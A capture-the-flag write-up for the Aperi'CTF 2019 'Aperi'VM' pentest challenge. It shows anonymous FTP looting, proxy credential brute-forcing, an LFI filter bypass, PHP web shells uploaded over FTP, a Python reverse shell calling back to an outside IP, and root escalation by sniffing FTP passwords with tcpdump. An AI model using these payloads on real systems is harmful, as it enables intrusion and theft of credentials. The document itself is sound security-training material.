Aperi'VM - Skid' your way in

Aperi'CTF 2019 - Network/Pentest (750 pts).

Aperi’CTF 2019 - Aperi’VM - Skid’ your way in

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 Aperi’VM - Skid’ your way in - Part 1 Network/Pentest 50 11
Aperi’CTF 2019 Aperi’VM - Skid’ your way in - Part 2 Network/Pentest 175 7
Aperi’CTF 2019 Aperi’VM - Skid’ your way in - Part 3 Network/Pentest 100 7
Aperi’CTF 2019 Aperi’VM - Skid’ your way in - Part 4 Network/Pentest 250 6
Aperi’CTF 2019 Aperi’VM - Skid’ your way in - Part 5 Network/Pentest 175 5

Nmap

21/tcp   open  ftp        vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x    2 107      112          4096 Feb 21 09:31 pub
|_-rw-r--r--    1 0        0            8711 Feb 22 10:00 ~secret.xlsx
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to aperivm.aperictf.fr
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp   open  http       Apache httpd 2.4.25 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-favicon: Unknown favicon MD5: 7D4140C76BF7648531683BFA4F7F8C22
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Login
3128/tcp open  http-proxy Squid http proxy 3.5.23
|_http-server-header: squid/3.5.23
|_http-title: ERROR: The requested URL could not be retrieved

FTP

  • Anonymous
  • ~secret.xlsx
  • Write right in pub
$ ftp aperivm.aperictf.fr
    anonymous
> dir
    drwxr-xr-x    2 107      112          4096 Feb 21 09:31 pub
    -rw-r--r--    1 0        0            8711 Feb 22 10:00 ~secret.xlsx
> get ~secret.xlsx
$ unzip ~secret.xlsx
$ cat xl/sharedStrings.xml
    backend
    backup
    proxy
    admin
    factory
    
    Se5J3MK4HkNn7xAB
    c86XSxGMuVUnqnuK
    NfBXRF9cYZ7mHV7d
    Xs7fB6mFVJCJbwGc
    zTB8SjEsYKENCFE5
    
    APRK{An0nyM0u5_FtP_1s_n0t_4_gUd_iDe4}
$ cat docProps/core.xml
    charles

backend backup proxy admin factory charles

Se5J3MK4HkNn7xAB c86XSxGMuVUnqnuK NfBXRF9cYZ7mHV7d Xs7fB6mFVJCJbwGc zTB8SjEsYKENCFE5

Flag 1 : APRK{An0nyM0u5_FtP_1s_n0t_4_gUd_iDe4}

Web

Enum

http://aperivm.aperictf.fr/index.php
http://aperivm.aperictf.fr/server-status (403)
http://aperivm.aperictf.fr/css/
http://aperivm.aperictf.fr/fonts/
http://aperivm.aperictf.fr/images/
http://aperivm.aperictf.fr/js/
http://aperivm.aperictf.fr/vendor/
http://aperivm.aperictf.fr/admin/
http://aperivm.aperictf.fr/admin/index.php (302)
http://aperivm.aperictf.fr/admin/logout.php (302)
http://aperivm.aperictf.fr/admin/about.php (302)
http://aperivm.aperictf.fr/admin/assets/
http://aperivm.aperictf.fr/admin/pages/
http://aperivm.aperictf.fr/admin/pages/dashboard.php
http://aperivm.aperictf.fr/admin/pages/services.php

Exploit

Login page cretentials are sent using GET.

http://aperivm.aperictf.fr/?user=admin&pass=admin

So if a user logs in, his login details will be available in server-status. His access is restricted to the localhost, but it’s possible to use the proxy to bypass the check.

Proxy

$ curl http://127.0.0.1/server-status --proxy http://aperivm.aperictf.fr:3128
    [...]
    Cache Access Denied.
    [...]

The proxy requires authentication. We can bruteforce them using the creds in the FTP.

$ nmap --script http-proxy-brute -p 3128 aperivm.aperictf.fr -v --script-args userdb=users.txt,passdb=pass.txt
    3128/tcp open  squid-http
    | http-proxy-brute: 
    |   Accounts: 
    |     charles:Se5J3MK4HkNn7xAB - Valid credentials

charles : Se5J3MK4HkNn7xAB Flag 2 : APRK{charles:Se5J3MK4HkNn7xAB}

$ curl http://127.0.0.1/server-status --proxy http://charles:Se5J3MK4HkNn7xAB@aperivm.aperictf.fr:3128
    [...]
    GET /?user=admin&pass=xYtyrm5ypmdJ2HEa HTTP/1.1
    [...]

Here we go, we have got admin credentials of the web application.

admin : xYtyrm5ypmdJ2HEa

Web

On the logged part there is a link to about.php.

http://aperivm.aperictf.fr/admin/?p=../about.php
    APRK{S3rveR_st4tUs_1S_l0v3}

Flag 3 : APRK{S3rveR_st4tUs_1S_l0v3}

There is a LFI on the webpanel. We can acces ../about.php, but not ../../../../../etc/passwd, ../.. seems to be filtered. We can use .././.././.././.././../etc/passwd

http://aperivm.aperictf.fr/admin/?p=.././.././.././.././../etc/passwd
    francois
    charles

But nothing interesting in the web server files. We need a RCE!

There isn’t upload functionnality on the webserver, but we can upload file in the pub foder on the FTP. But to be able to include our file, you will need to know his path.

We can retrieve it in the vsftpd’s configuration file.

http://aperivm.aperictf.fr/admin/?p=.././.././.././.././../etc/vsftpd.conf
    [...]
    anon_root=/storage/ftp/
    [...]

Now, we can craft, upload and include our php script.

$ echo '<?php system($_GET[0]) ?>' > shell.php
$ ftp aperivm.aperictf.fr
    anonymous
> cd pub
> put shell.php
http://aperivm.aperictf.fr/admin/?p=.././.././.././.././../storage/ftp/pub/shell.php&0=id

It doesn’t work, there must be restrictions on php functions. Let’s look at how the server checks the status of services in services.php.

$ cat file.php
    <?php echo file_get_contents($_GET[0]) ?>
http://aperivm.aperictf.fr/admin/?p=.././.././.././.././../storage/ftp/pub/file.php&0=/var/www/html/admin/pages/services.php

services.php use the function shell_exec to execute bash commands, will do the same to get a shell.

$ cat shell2.php
    <?php echo shell_exec($_GET[0]) ?>
http://aperivm.aperictf.fr/admin/?p=.././.././.././.././../storage/ftp/pub/shell2.php&0=id
    uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Here we go, got a command execution!

User Shell

$ nc -lvp 3615
http://aperivm.aperictf.fr/admin/?p=.././.././.././.././../storage/ftp/pub/shell.php&0=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.10.10.10%22,3615));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
$ python -c 'import pty; pty.spawn("/bin/bash")'

We can bruteforce the francois password using the password list on the FTP.

$ su francois
    c86XSxGMuVUnqnuK
$ id
    uid=1000(francois) gid=1000(francois) groups=1000(francois),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1002(network)
$ cat /home/francois/flag.txt
    APRK{d0t_DoT_WhO5_tH3R3?LFI}

Flag 4 : APRK{d0t_DoT_WhO5_tH3R3?LFI}

Priv Esc

$ getcap -r / 2>/dev/null
    /usr/sbin/tcpdump = cap_net_admin,cap_net_raw+ep
    /usr/lib/squid/pinger = cap_net_raw+ep

We can use tcpdump to listen on the network.

$ /usr/sbin/tcpdump -i any -w a.pcap
$ tshark -r a.pcap -Y "ftp"
    USER root
    PASS 1188634154207010
$ su root
    1188634154207010
# id
    uid=0(root) gid=0(root) groups=0(root)
# cat /root/flag.txt
    APRK{sN1ff1nG_y0uR_w4Y_T0_rO0T}

Flag 5 : APRK{sN1ff1nG_y0uR_w4Y_T0_rO0T}

DrStache